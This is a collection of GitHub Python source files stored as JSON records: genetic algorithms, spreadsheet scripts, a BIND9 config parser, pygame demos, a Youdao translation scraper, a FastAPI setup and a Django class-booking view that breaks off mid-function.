+{"seq_id":"71359846972","text":"import numpy as np\nimport random as rand\nfrom matplotlib import pyplot as plt\nimport math\nfrom collections import Counter\nfrom numpy import nonzero\nfrom functools import partial\nimport difflib\nimport time\n\n\ndef split_array(arr):\n    s1, s2, s3 = arr.shape[0] // 4, arr.shape[0] // 2, arr.shape[0] * 3 // 4\n    p1 = arr[:s1]\n    p2 = arr[s1:s2]\n    p3 = arr[s2:s3]\n    p4 = arr[s3:]\n    return p1, p2, p3, p4\n\n\nstart_time = time.time()\noptfile = open(\"optimal_state.txt\", \"r\")\nopt_str = optfile.read()\nopt_arr = np.array([i for i in opt_str if (i == \"0\" or i == \"1\")])\no1, o2, o3, o4 = split_array(opt_arr)\ninpfile = open(\"in.txt\", \"r\")\ninp_str = inpfile.read()\n\n\ndef generate_random_binary_string(n):\n    copy = opt_arr.copy()\n    for i in range(0, len(copy), 10):\n        if copy[i] == \"1\":\n            copy[i] = \"0\"\n        else:\n            copy[i] = \"1\"\n    return copy\n\n\nfitness_dict = {}\n\n\ndef fitness(state, opt):\n    state_string = \"\".join(state)\n    if state_string in fitness_dict:\n        return fitness_dict[state_string]\n    else:\n        fit_score = np.sum(state != opt)\n        fitness_dict[state_string] = fit_score\n        return fit_score\n\n\ndef roulette_selection(population, scores):\n    aggregate = 0.0\n    for i in range(len(population)):\n        aggregate += scores[i]\n    prev = 0.0\n    p_state = []\n    for i in range(len(population)):\n        if aggregate != 0:\n            p_state.append(prev + (scores[i] / aggregate))\n        else:\n            p_state.append(prev)\n        prev = p_state[i]\n    r = rand.uniform(0, 1)\n    for i in range(len(population)):\n        if r < p_state[i]:\n            temp = population[i]\n            return temp\n\n\ndef breed(p1, p2):\n    pivot = rand.randint(1, int(p1.size / 2))\n    pivot2 = rand.randint(int(p1.size / 2), p1.size - 2)\n    c1 = np.concatenate((p1[:pivot], p2[pivot:]))\n    c2 = np.concatenate((p2[:pivot2], p1[pivot2:]))\n    return [c1, c2]\n\n\ndef sextuple_breeding(p1, p2, p3, p4, p5, p6):\n    pivot1 = rand.randint(0, int(1 * p1.size / 6))\n    pivot2 = rand.randint(int(1 * p1.size / 6) + 1, int(2 * p1.size / 6))\n    pivot3 = rand.randint(int(2 * p1.size / 6) + 1, int(3 * p1.size / 6))\n    pivot4 = rand.randint(int(3 * p1.size / 6) + 1, int(4 * p1.size / 6))\n    pivot5 = rand.randint(int(4 * p1.size / 6) + 1, int(5 * p1.size / 6))\n\n    c1 = np.concatenate(\n        (\n            p1[:pivot1],\n            p2[pivot1:pivot2],\n            p3[pivot2:pivot3],\n            p4[pivot3:pivot4],\n            p5[pivot4:pivot5],\n            p6[pivot5:],\n        )\n    )\n    c2 = np.concatenate(\n        (\n            p2[:pivot1],\n            p3[pivot1:pivot2],\n            p4[pivot2:pivot3],\n            p5[pivot3:pivot4],\n            p6[pivot4:pivot5],\n            p1[pivot5:],\n        )\n    )\n    c3 = np.concatenate(\n        (\n            p3[:pivot1],\n            p4[pivot1:pivot2],\n            p5[pivot2:pivot3],\n            p6[pivot3:pivot4],\n            p1[pivot4:pivot5],\n            p2[pivot5:],\n        )\n    )\n    c4 = np.concatenate(\n        (\n            p4[:pivot1],\n            p5[pivot1:pivot2],\n            p6[pivot2:pivot3],\n            p1[pivot3:pivot4],\n            p2[pivot4:pivot5],\n            p3[pivot5:],\n        )\n    )\n    c5 = np.concatenate(\n        (\n            p5[:pivot1],\n            p6[pivot1:pivot2],\n            p1[pivot2:pivot3],\n            p2[pivot3:pivot4],\n            p3[pivot4:pivot5],\n            p4[pivot5:],\n        )\n    )\n    c6 = np.concatenate(\n        (\n            p6[:pivot1],\n            p1[pivot1:pivot2],\n            p2[pivot2:pivot3],\n            p3[pivot3:pivot4],\n            p4[pivot4:pivot5],\n            p5[pivot5:],\n        )\n    )\n\n    return [c1, c2, c3, c4, c5, c6]\n\n\ndef swapmutation(c1, r_mut):\n    r = rand.uniform(0, 1)\n    for _ in range(c1.size):\n        if r < r_mut:\n            rpos1, rpos2 = rand.randint(0, c1.size - 1), rand.randint(0, c1.size - 1)\n            c1[rpos1], c1[rpos2] = c1[rpos2], c1[rpos1]\n    return c1\n\n\ndef random_reset_mutation(c1, r_mut):\n    for i in range(c1.size):\n        r = rand.uniform(0, 1)\n        if r < r_mut:\n            c1[i] = \"1\" if c1[i] == \"0\" else \"0\"\n    return c1\n\n\nfrom multiprocessing import Pool\n\n\ndef genetic_algorithm(population, r_mut, n_iter, goal):\n    idx = 0\n    totalItr = 0\n\n    [best, score] = population[0], fitness(population[0], goal)\n    h = fitness(population[0], goal)\n\n    # Create a multiprocessing Pool\n    pool = Pool()\n\n    partial_fitness = partial(fitness, opt=goal)\n\n    for gen in range(n_iter):\n        # Use pool.map() to compute fitness scores in parallel\n        scores = pool.map(partial_fitness, population)\n\n        # check for new best\n        for i in range(len(population)):\n            if scores[i] < score:\n                best, score = population[i], scores[i]\n                print(\">%d, new best f(%s) = %f\" % (gen, population[i], scores[i]))\n\n        sorted_population = [\n            x for _, x in sorted(zip(scores, population), key=lambda pair: pair[0])\n        ]\n        elite_cutoff = int(\n            len(sorted_population) * 0.0625\n        )  # This amounts to ~96 elite individuals (1/16)\n        elite = sorted_population[:elite_cutoff]\n\n        parents = [\n            roulette_selection(population, scores) for _ in range(len(population))\n        ]\n\n        children = list()\n        for i in range(0, len(parents), 6):\n            p1, p2, p3, p4, p5, p6 = (\n                parents[i],\n                parents[i + 1],\n                parents[i + 2],\n                parents[i + 3],\n                parents[i + 4],\n                parents[i + 5],\n            )\n            c1, c2, c3, c4, c5, c6 = sextuple_breeding(p1, p2, p3, p4, p5, p6)\n            c1 = swapmutation(c1, r_mut)\n            c2 = random_reset_mutation(c2, r_mut)\n            c3 = swapmutation(c3, r_mut)\n            c4 = random_reset_mutation(c4, r_mut)\n            c5 = swapmutation(c5, r_mut)\n            c6 = random_reset_mutation(c6, r_mut)\n            children.append(c1)\n            children.append(c2)\n            children.append(c3)\n            children.append(c4)\n            children.append(c5)\n            children.append(c6)\n        population = children[: len(children) - elite_cutoff] + elite\n\n        for i in range(len(population)):\n            if fitness(population[i], goal) < h:\n                h = fitness(population[i], goal)\n\n        idx += 1\n        if fitness(best, goal) == 0:\n            pool.close()\n            return [best, score, h]\n\n    pool.close()\n    return [best, score, h]\n\n\nfrom joblib import Parallel, delayed\n\n\ndef worker(args):\n    return genetic_algorithm(*args)\n\n\ndef parallel_genetic_algorithms(population, r_mut, n_iter):\n    s1, s2, s3, s4, s5 = (\n        int(population.size / 6),\n        int(2 * population.size / 6),\n        int(3 * population.size / 6),\n        int(4 * population.size / 6),\n        int(5 * population.size / 6),\n    )\n    pop1 = population[:s1]\n    pop2 = population[s1:s2]\n    pop3 = population[s2:s3]\n    pop4 = population[s3:s4]\n    pop5 = population[s4:s5]\n    pop6 = population[s5:]\n\n    pops = [pop1, pop2, pop3, pop4, pop5, pop6]\n    args = [(pop, r_mut, n_iter) for pop in pops]\n\n    results = Parallel(n_jobs=-1)(delayed(worker)(arg) for arg in args)\n\n    # results is now a list of tuples [(b1, s1, h1), (b2, s2, h2), ..., (b6, s6, h6)]\n    # if you want separate lists for b, s, and h values, you can do the following:\n    b_values, s_values, h_values = zip(*results)\n\n    return b_values, s_values, h_values\n\n\ndef split_2d_array(big_array):\n    # Calculate the quarter indices\n    s1, s2, s3 = (\n        big_array.shape[1] // 4,\n        big_array.shape[1] // 2,\n        big_array.shape[1] * 3 // 4,\n    )\n\n    # Split the array into 4 smaller arrays\n    pop1 = big_array[:, :s1]\n    pop2 = big_array[:, s1:s2]\n    pop3 = big_array[:, s2:s3]\n    pop4 = big_array[:, s3:]\n\n    # Return the 4 smaller arrays\n    return pop1, pop2, pop3, pop4\n\n\ndef main():\n    N = 152\n    length = 1536\n    population = np.array([generate_random_binary_string(length) for _ in range(N)])\n    r_mut = 0.2\n    n_iter = 1000\n\n    o1, o2, o3, o4 = split_array(opt_arr)\n    pop1, pop2, pop3, pop4 = split_2d_array(population)\n\n    [b1, s1, h1] = genetic_algorithm(pop1, r_mut, n_iter, o1)\n    [b2, s2, h2] = genetic_algorithm(pop2, r_mut, n_iter, o2)\n    [b3, s3, h3] = genetic_algorithm(pop3, r_mut, n_iter, o3)\n    [b4, s4, h4] = genetic_algorithm(pop4, r_mut, n_iter, o4)\n    # [b5, s5, h5] = genetic_algorithm(pop1, r_mut, n_iter)\n    # [b6, s6, h6] = genetic_algorithm(pop1, r_mut, n_iter)\n\n    b1_2 = np.concatenate((b1, b2))\n    b2_2 = np.concatenate((b3, b4))\n    o1_2 = np.concatenate((o1, o2))\n    o2_2 = np.concatenate((o3, o4))\n\n    # [b1_2, s1_2, h1_2] = genetic_algorithm(b1_2, r_mut, n_iter, o1_2)\n    # [b2_2, s2_2, h3_2] = genetic_algorithm(b2_2, r_mut, n_iter, o2_2)\n    # [b3_2, s3_2, h3_2] = genetic_algorithm(np.concatenate((b5, b6)), r_mut, n_iter)\n\n    # [b1_3, s1_3, h1_3] = genetic_algorithm(np.concatenate((b1_2, b2_2)), r_mut, n_iter, opt_arr)\n    # [b2_3, s1_3, h1_3] = genetic_algorithm(np.concatenate((b2_2, b2_3)), r_mut, n_iter)\n\n    # [best, score, h] = genetic_algorithm(np.concatenate((b1_3, b2_3)), r_mut, n_iter)\n\n    # [best, score, h] = genetic_algorithm(np.concatenate((b1_3, b2_3)), r_mut, n_iter)\n    # print(best)\n    # print(score)\n\n    end_time = time.time()\n    elapsed_time = end_time - start_time\n    print(f\"The program took {elapsed_time} seconds to run.\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"cawley/phase_array","sub_path":"bin/bin_splitGA_sextuplet_breeding.py","file_name":"bin_splitGA_sextuplet_breeding.py","file_ext":"py","file_size_in_byte":9507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"17388936768","text":"import openpyxl as xl\n\nfilename1 = \"Python/Projects/vlookup.xlsx\"\nend_lookup_cell = 10\n\ndef vlookup(filename1, end_lookup_cell):\n\n    wb = xl.load_workbook(filename1)\n    sheet = wb['Sheet1']\n\n    lookup_col = []\n    \n    for row in range(2, end_lookup_cell+1):\n        lookup_col.append(sheet.cell(row, 4).value)\n\n\n    for index, lookup_value in enumerate(lookup_col):\n        for row in range(2, sheet.max_row + 1):\n\n            cell_value = sheet.cell(row, 1).value\n\n            if lookup_value == cell_value:\n                price_found_value = sheet.cell(row, 3).value\n                new_cell_location = sheet.cell(index+2, 5)\n                new_cell_location.value = price_found_value\n\n\n    wb.save('Python/Projects/vlookup_new.xlsx')\n\n\nvlookup(filename1, end_lookup_cell)\n","repo_name":"AbdassalamAhmad/DevOps_Learning_Journey","sub_path":"Python/Projects/vlookup.py","file_name":"vlookup.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"}
+{"seq_id":"74919629691","text":"#!/usr/bin/env python3\n\"\"\"\nFile: isc_clause_primaries.py\n\nClause: 'primaries'\n\nTitle: Clause Statement for Primary Servers\n\nDescription: Provides primary-related grammar in PyParsing engine\n             for ISC-configuration style\n\n    Only for zone-type: secondary, mirror, stub, & redirect\n\nSyntax:\n      primaries  [ port  ] [ dscp  ]\n      {\n          ( \n            |  [ port  ]\n            |  [ port  ]\n          )\n         [ key  ]\n         [ tls  ];\n         ...\n      };\n\"\"\"\nimport copy\nfrom pyparsing import Group, ungroup, ZeroOrMore\nfrom bind9_parser.isc_utils import Optional, lbrack, rbrack, semicolon, \\\n    primaries_keyword, primaries_id\nfrom bind9_parser.isc_inet import \\\n    inet_ip_port_keyword_and_number_element, \\\n    inet_dscp_port_keyword_and_number_element\nfrom bind9_parser.isc_primaries import primaries_remoteserver_set\n\n\nclause_cloned_primaries_remoteserver_set = copy.deepcopy(primaries_remoteserver_set)\n\n# Used only as top-level clause\nclause_stmt_primaries_standalone = (\n    Group(\n        primaries_keyword\n        - primaries_id('primaries_id')\n        - (\n            (\n                Optional(inet_ip_port_keyword_and_number_element)\n                - Optional(inet_dscp_port_keyword_and_number_element)\n            )\n            ^ (\n                Optional(inet_dscp_port_keyword_and_number_element)\n                - Optional(inet_ip_port_keyword_and_number_element)\n            )\n        )\n        - lbrack\n        - ZeroOrMore(    # Started indexing via list []\n            Group(\n                clause_cloned_primaries_remoteserver_set\n            )('remote_servers*')\n        )('')\n        - rbrack\n    )('primaries')\n    + semicolon\n)('').setName('primaries  [ port  ] [ dscp  ] {  };')\n\n# clause_stmt_primaries_series cannot be used within 'zone' clause, use clause_stmt_primaries_set instead\nclause_stmt_primaries_series = (\n    ZeroOrMore(\n        Group(\n            ungroup(clause_stmt_primaries_standalone(''))('')\n        )('')\n    )('')\n)('primaries').setName(\"\"\"primaries [ port  ] [ dscp  ] {\n    (  |  |  ) [ key  ] [ tls  key ')\n","repo_name":"egberts/bind9_parser","sub_path":"bind9_parser/isc_clause_primaries.py","file_name":"isc_clause_primaries.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"78"}
+{"seq_id":"17315954374","text":"import pygame\nimport math\nimport random\n\n\n# create color constans\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nBLACK = (0, 0, 0)\nCOLORS = [GREEN, RED, BLACK, BLUE]\n\n# create math constants\nPI = math.pi\n\n# to convert from degrees to radians angle * (pi / 180)\n# 60* pi /180 = pi / 3\n\n# game constants\nSIZE = (700, 500)   # width, height\nFPS = 60            # frames per second\n\n################################################################################\n################################################################################\n\npygame.init()\n\nscreen = pygame.display.set_mode(SIZE)\npygame.display.set_caption(\"My First Pygame\")\n\nclock = pygame.time.Clock()\n\nrunning = True\n\nwhile running:\n\n    # get all keyboard, mouse, controller events\n    for event in pygame.event.get():\n\n        # check for specific user event\n        if event.type == pygame.QUIT:\n            running = False\n        elif event.type == pygame.KEYDOWN:\n            print(\"you pressed a key\")\n        elif event.type == pygame.KEYUP:\n            print(\"you released a key\")\n        elif event.type == pygame.MOUSEBUTTONDOWN:\n            print(\"you pressed a mouse button\")\n\n    # game logic goes here(objects fried, object movement) goes here\n\n    screen.fill(WHITE)\n\n    # add drawings here\n    # pygame.draw.rect(screen, RED, [55, 50, 20, 250], border_radius = 5)\n    pygame.draw.arc(screen, BLUE, [55, 50, 200, 200], 0, 5*PI/4, width = 5)\n\n    for multiplier in range(10):\n        color = random.choice(COLORS)\n        pygame.draw.line(screen, color, (10 + 15*multiplier, 10), (50 + 15*multiplier, 50), 5)\n\n    pygame.display.flip()\n\n\n    clock.tick(FPS)\n\n\n# to b run after the main game loop\npygame.quit()\n","repo_name":"SeaMoose6/pygame_intro","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"70313262331","text":"import pandas as pd\r\nfrom querySim import query_result\r\n\r\n# query_result to srcexcel.xlsx. \r\n# Convert dict to a Pandas DataFrame\r\ndf = pd.DataFrame(data=query_result)\r\ndf.to_excel(\"srcexcel.xlsx\")\r\n\r\n# Read vullingen.xlsx and get the MATERIAL IDs\r\nvullingen_df = pd.read_excel('vullingen.xlsx', header=None)\r\nmaterial_ids = vullingen_df.iloc[:, 0].values.tolist() # Get the first column\r\n\r\n# Filter srcexcel.xlsx df based on the MATERIAL IDs\r\ndf_filtered = df[df['MATERIAL ID'].isin(material_ids)].copy() # Assuming the column name in srcexcel.xlsx is 'MATERIAL ID'\r\n\r\n# Ask the user for the suffix and material type\r\nsuffix = input(\"Wat moet er op het einde van titel toegevoegd worden: \")\r\nmaterial_type = input(\"Typ het MATERIAL TYPE. Kies tussen 'COMMERCIAL', 'JUNCTION', 'PROGRAMME' of 'LIVE RECORD': \")\r\n# In de webapp wordt dit een dropdown menu met vaste keuzes.\r\n\r\n# Modify TITLE and MATERIAL TYPE columns\r\ndf_filtered.loc[:, 'TITLE'] = df_filtered['TITLE'] + ' ' + suffix\r\ndf_filtered.loc[:, 'MATERIAL TYPE'] = material_type\r\n\r\n# Convert the filtered DataFrame to list of dicts\r\nfiltered_ids = df_filtered.to_dict('records')\r\n\r\n# Save the modified DataFrame to destexcel.xlsx\r\ndf_filtered.to_excel('destexcel.xlsx')\r\n","repo_name":"MichielMe/Dater","sub_path":"App/Dater.py","file_name":"Dater.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29321623368","text":"#import libraries\nimport pygame\nfrom math import pi, cos, sin\n\npygame.init()\n\n#window size\nscr = pygame.display.set_mode((400,400))\n\n#variable de radio y centro\nr = 400/2\ncentro = (400/2,400/2)\n\n#TRIANGLE\n#top corner\nx1 = centro[0]\ny1 = 0\n\n#right bottom corner\nx2 = r*cos(11 * pi / 6) + centro[0]\ny2 = r/2 + 200\n\n#left bottom corner\nx3 = r*cos(7 * pi / 6) + centro[0]\ny3 = r/2 + 200\n\ncoordenadas = [[x1,y1],[x2,y2],[x3,y3]]\n\n#colors\npurple = (131,86,222)\norange = (235,175,86)\nwhite = (255,255,255)\n\nrunning = True\n\nwhile running:\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            running = False\n        pygame.draw.circle(scr,white,centro,4)\n        pygame.draw.circle(scr,purple,centro,r,4)\n        pygame.draw.polygon(scr,orange,coordenadas,5)\n        pygame.display.flip()\npygame.quit()\n","repo_name":"alanjmr21/Mod-Sistemas-Multiagentes-Graf-Computacionales","sub_path":"T1-TriangleInCircle.py","file_name":"T1-TriangleInCircle.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"16405553534","text":"\"\"\"This code calculates farness from empty plots.\"\"\"\r\nfrom typing import List, Tuple\r\n\r\n\r\ndef nearest_buildings(buildings_qty: int, buildings_row: List[int]) -> int:\r\n    \"\"\"Nulls set & 3 farness direction ways detection from nulls.\"\"\"\r\n    proximity = [buildings_qty] * buildings_qty\r\n    null = [i for i in range(buildings_qty) if buildings_row[i] == 0]\r\n    init_null = null[0]\r\n    last_null = null[-1]\r\n    for i in range(init_null, buildings_qty):\r\n        if buildings_row[i] == 0:\r\n            proximity[i] = 0\r\n        else:\r\n            proximity[i] = proximity[i - 1] + 1\r\n    for i in range(last_null, init_null, -1):\r\n        if buildings_row[i] == 0:\r\n            proximity[i] = 0\r\n        else:\r\n            proximity[i] = min(proximity[i], proximity[i + 1] + 1)\r\n    for i in range(init_null - 1, -1, -1):\r\n        proximity[i] = proximity[i + 1] + 1\r\n    return proximity\r\n\r\n\r\ndef read_input() -> Tuple[int, List[int]]:\r\n    \"\"\"Input building quantity & building row.\"\"\"\r\n    buildings_qty = int(input())\r\n    buildings_row = list(map(int, input().strip().split()))\r\n    return buildings_qty, buildings_row\r\n\r\n\r\ndef init():\r\n    \"\"\"Intro & output.\"\"\"\r\n    buildings_qty, buildings_row = read_input()\r\n    print(*nearest_buildings(buildings_qty, buildings_row))\r\n\r\n\r\nif __name__ == '__main__':\r\n    init()\r\n","repo_name":"smart2004/Algorythms-Basics-","sub_path":"buildings.py","file_name":"buildings.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74118107450","text":"from extract import Extract\nfrom relink import *\n#from test_extract import ANCHOR\n\nfrom pathlib import Path\nfrom pytest import fixture\n\nTEST_MHT='sample.mhtml'\nTEST_ANCHOR='h4'\n\n@fixture\ndef soup():\n\tex = Extract(TEST_MHT)\n\trel = relink(ex, TEST_ANCHOR)\n\treturn ex.soup\n\ndef test_rel(soup):\n\tassert soup\n\ndef test_toc(soup):\n\tprint(RID_TOC)\n\ttoc = soup.find(id=RID_TOC)\n\tassert toc\n\tassert 'List' in str(toc)\n\tassert RID in toc['id']\n\tassert len(toc.contents) > 1\n\tolist = toc.contents[1]\n\titem = olist.contents[0]\n\tanchor = item.contents[0]\n\tassert anchor\n\tassert RID in anchor['href']\n\ndef untest_div(soup):\n\tsib = soup.find(class_=RID_PARENT)\n\tprint(str(soup.body.div.div.div)[500:1000])\n\tassert sib\n\tassert sib['class']\n\tassert RID_PARENT in sib['class']\n\ndef untest_find_anchor(soup):\n\t#print(soup.body.div.div.prettify())\n\t# ONLY works if `sibling.insert_after(tadd(toc, links))`\n\tresult = soup.findAll('h4')\n\tassert result\n\tassert len(result) == 40\n","repo_name":"yangbo/mhtviewer","sub_path":"test_relink.py","file_name":"test_relink.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"}
+{"seq_id":"32289037686","text":"import requests\nimport time\nimport random\nfrom hashlib import md5\n\n\ndef get_salt_sign_ts(word):\n    # ts\n    ts = str(int(time.time() * 1000))\n    # salt\n    salt = ts + str(random.randint(0, 9))\n    # sign\n    string = \"fanyideskweb\" + word + salt + \"n%A-rKaT5fb[Gy?;N5@Tj\"\n    s = md5()\n    s.update(string.encode())\n    sign = s.hexdigest()\n    return ts, salt, sign\n\n\ndef attack_yd(word):\n    ts, salt, sign = get_salt_sign_ts(word)\n    url = \"http://fanyi.youdao.com/translate_o?smartresult=dict&smartresult=rule\"\n\n    headers = {\n        'Accept': 'application/json, text/javascript, */*; q=0.01',\n        'Accept-Encoding': 'gzip, deflate',\n        'Accept-Language': 'zh-CN,zh;q=0.9',\n        'Connection': 'keep-alive',\n        'Content-Length': '236',\n        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n        'Cookie': 'OUTFOX_SEARCH_USER_ID_NCOO=692738834.5379668; OUTFOX_SEARCH_USER_ID=\"1132887710@10.169.0.84\"; _ga=GA1.2.845087185.1573310083; _gid=GA1.2.289821871.1577172330; JSESSIONID=aaaCs8_fqXaOj7zFkl38w; ___rl__test__cookies=1577179093744',\n        'Host': 'fanyi.youdao.com',\n        'Origin': 'http://fanyi.youdao.com',\n        'Referer': 'http://fanyi.youdao.com/',\n        'User-Agent': 'Mozilla/5.0 X11; Linux x86_64 AppleWebKit/537.36 KHTML, like Gecko Chrome/78.0.3904.87 Safari/537.36',\n        'X-Requested-With': 'XMLHttpRequest',\n    }\n\n    data = {\n        \"i\": word,\n        \"from\": \"AUTO\",\n        \"to\": \"AUTO\",\n        \"smartresult\": \"dict\",\n        \"client\": \"fanyideskweb\",\n        \"salt\": salt,\n        \"sign\": sign,\n        \"ts\": ts,\n        \"bv\": \"54601983cd937ebe6d8d70bf1bdaa240\",\n        \"doctype\": \"json\",\n        \"version\": \"2.1\",\n        \"keyfrom\": \"fanyi.web\",\n        \"action\": \"FY_BY_REALTlME\",\n    }\n\n    html = requests.post(url,data=data, headers=headers).json()\n    print(html['translateResult'][0][0]['tgt'])\n\n\nif __name__ == \"__main__\":\n    while True:\n        word = input(\"请输入要翻译的单词:\")\n        attack_yd(word)\n","repo_name":"Leavel/spider","sub_path":"youdao_fanyi.py","file_name":"youdao_fanyi.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"8701014243","text":"from fastapi import FastAPI\n\nfrom app.main.metadata import tags_metadata\nfrom app.main.routers import init_routers\nimport app.adapters.sqlalchemy_db.models\n\n\ndef create_app() -> FastAPI:\n\n    app = FastAPI(\n        title=\"FastAPI CRUD Dummy Project\",\n        version=\"0.0.1\",\n        contact={\n            \"name\": \"Dezir Ibragimov\",\n            \"url\": \"https://linkedin.com/in/dightmerc\",\n            \"email\": \"dightmerc@gmail.com\",\n        },\n        openapi_tags=tags_metadata,\n    )\n    init_routers(app)\n    return app\n","repo_name":"DightMerc/fastapi-dummy-crud","sub_path":"src/app/main/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24830318668","text":"import numpy as np\nimport os\nfrom matplotlib import pyplot as plt\nfrom scipy import stats as st\n\ntranscription_rates = {}\n\nwith open(\"holstege.tsv\") as holstege:\n\tfor line in holstege:\n\t\tline = line.strip().split()\n\t\ttranscription_rates[line[0]] = float(line[1])\n\tholstege.close()\n\nfor file_name in os.listdir(\"b_CDT\"):\n\toccupancy = {}\n\twith open(\"b_CDT/\" + file_name) as cdt:\n\t\tfor line in cdt:\n\t\t\tline = line.strip().split()\n\t\t\tif line[0] != \"Uniqe\":\t#skip header\n\t\t\t\tgene = line[0]\n\t\t\t\t#remove trailing characters\n\t\t\t\tif \"-\" in gene:\t\n\t\t\t\t\tgene = gene.split(\"-\")[0]\n\t\t\t\tif \"%\" in gene:\t\n\t\t\t\t\tgene = gene.split(\"%\")[0]\n\t\t\t\toccupancy[gene] = sum([float(line[i]) for i in range(1,len(line))])\n\t\tcdt.close()\n\n\txs = []\n\tys = []\n\tfor gene in occupancy.keys():\n\t\tif gene in transcription_rates.keys():\n\t\t\tif occupancy[gene] != 0 and transcription_rates[gene] != 0:\n\t\t\t\txs.append(np.log2(occupancy[gene]))\n\t\t\t\tys.append(np.log2(transcription_rates[gene]))\n\n\tr, p = st.pearsonr(xs, ys)\n\n\tplt.scatter(xs, ys)\n\tplt.xlabel(\"Occupancy (tag count, log2)\")\n\tplt.ylabel(\"Transcription rate (mRNA/hr)\\n(log2)\")\n\tplt.title(\"n={}\\nR={}\".format(len(xs), r))\n\tplt.savefig(file_name[0:len(file_name)-5])\n\tplt.close()\n","repo_name":"seqcode/vinayachandran_2017_figs","sub_path":"Sup1/sup1b.py","file_name":"sup1b.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23633911578","text":"from django.urls import reverse\nfrom django.views.generic import ListView, CreateView, TemplateView\nfrom django.contrib.auth.models import User\nfrom django.core.mail import send_mail, BadHeaderError\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .models import ChildbirthClass, ChildbirthClassBooking\nfrom .forms import ChildbirthClassBookingForm\n# from locations.models import Location\nfrom paypal.standard.forms import PayPalPaymentsForm\nfrom wr_maternity import settings\nfrom datetime import date\n\n\nclass ChildbirthClassIndex(ListView):\n    '''Page that displays childbirth class descriptions and booking dates.'''\n\n    template_name = 'childbirth_classes.html'\n    model = ChildbirthClass\n    context_object_name = 'classes'\n    todays_date = date.today()\n\n    def get_queryset(self):\n        # Separate comprehensive and condensed in to different query sets\n        queryset = {'comp_classes': super().get_queryset().filter(class_type='COMP', is_active=True, start_date__gte=self.todays_date).order_by('start_date'),\n                    'cond_classes': super().get_queryset().filter(class_type='COND', is_active=True, start_date__gte=self.todays_date).order_by('start_date')}\n        return queryset\n\n\nclass CreateChildbirthClassBooking(CreateView):\n    '''Page that displays childbirth class booking form.'''\n\n    template_name = 'childbirth_classes_booking_form.html'\n    model = ChildbirthClassBooking\n    form_class = ChildbirthClassBookingForm\n\n    def get_context_data(self, **kwargs):\n        # Get childbirth class context for use on the page.\n        context = super().get_context_data(**kwargs)\n        class_detail = ChildbirthClass.objects.filter(pk=self.kwargs['pk'])\n        context['class_detail'] = class_detail\n        # If there are already 10 bookings, return message that the class is full.\n        attendees = ChildbirthClassBooking.objects.filter(cb_class=self.kwargs['pk']).count()\n        if attendees >= 10:\n            context['message'] = 'Sorry, this class is full! Please choose another class to attend.'\n        return context\n\n    def get_initial(self, **kwargs):\n        # Get childbirth class details to use as values in the form.\n        initial = super().get_initial(**kwargs)\n        if self.request.method == 'GET':\n            initial['cb_class'] = self.kwargs['pk']\n            cost = ChildbirthClass.objects.filter(pk=self.kwargs['pk']).values_list('price', flat=True)\n            initial['cost'] = cost[0]\n            return initial\n        else:\n            return initial\n\n    def get_success_url(self):\n        return reverse('childbirth_classes:success', kwargs={'pk': self.object.id})\n\n    def form_valid(self, form):\n        # If the form is valid, email the class attendee and the owner.\n        name = form.cleaned_data['first_name'] + ' ' + form.cleaned_data['last_name']\n        phone = form.cleaned_data['phone']\n        email = form.cleaned_data['email']\n        cb_class = form.cleaned_data['cb_class']\n        message = f\"The following person has signed up for a class.\\n\\n \\\n        {name}\\n \\\n        {email}\\n \\\n        {phone}\\n \\\n        Class: {cb_class.title}\\n \\\n        Starting: {cb_class.start_date}\\n\\n\"\n        message += \"Login in for details: https://www.well-roundedmaternity.com/admin/childbirth_classes/childbirthclassbooking/\"\n\n        # {cb_class.location.location_name}\\n \\\n        # {cb_class.location.location_address}\\n \\\n        # {cb_class.location.location_city}, {cb_class.location.location_state} {cb_class.location.location_zip}\\n\\n\"\n        message2 = f\"Thank you for signing up for a class with Well-Rounded Maternity! Details are below.\\n\\n \\\n        {name}\\n \\\n        {email}\\n \\\n        {phone}\\n \\\n        Class: {cb_class.title}\\n \\\n        Starting: {cb_class.start_date}\\n \\\n        Ending: {cb_class.end_date}\\n \\\n        Time: {cb_class.start_time.strftime('%I:%M %p')} to {cb_class.end_time.strftime('%I:%M %p')}\\n \\\n        Location: Remote via Zoom\\n\\n\"\n        \n        message2 += \"You will receive a reminder email two weeks prior to class with further details and instructions.\\n\\n\"\n        message2 += \"If you have any questions, please contact Coral Slavin @ 262-893-9945. We look forward to seeing you in class!\\n\\n\\nWell-Rounded Maternity\"\n        \n        to_email = [User.objects.get(id=2).email]\n        subject = 'Childbirth Class Booking'\n        from_email = 'coral.slavin@gmail.com'\n        try:\n            send_mail(subject, message, from_email, to_email)\n            send_mail(subject, message2, from_email, [email])\n        except BadHeaderError:\n     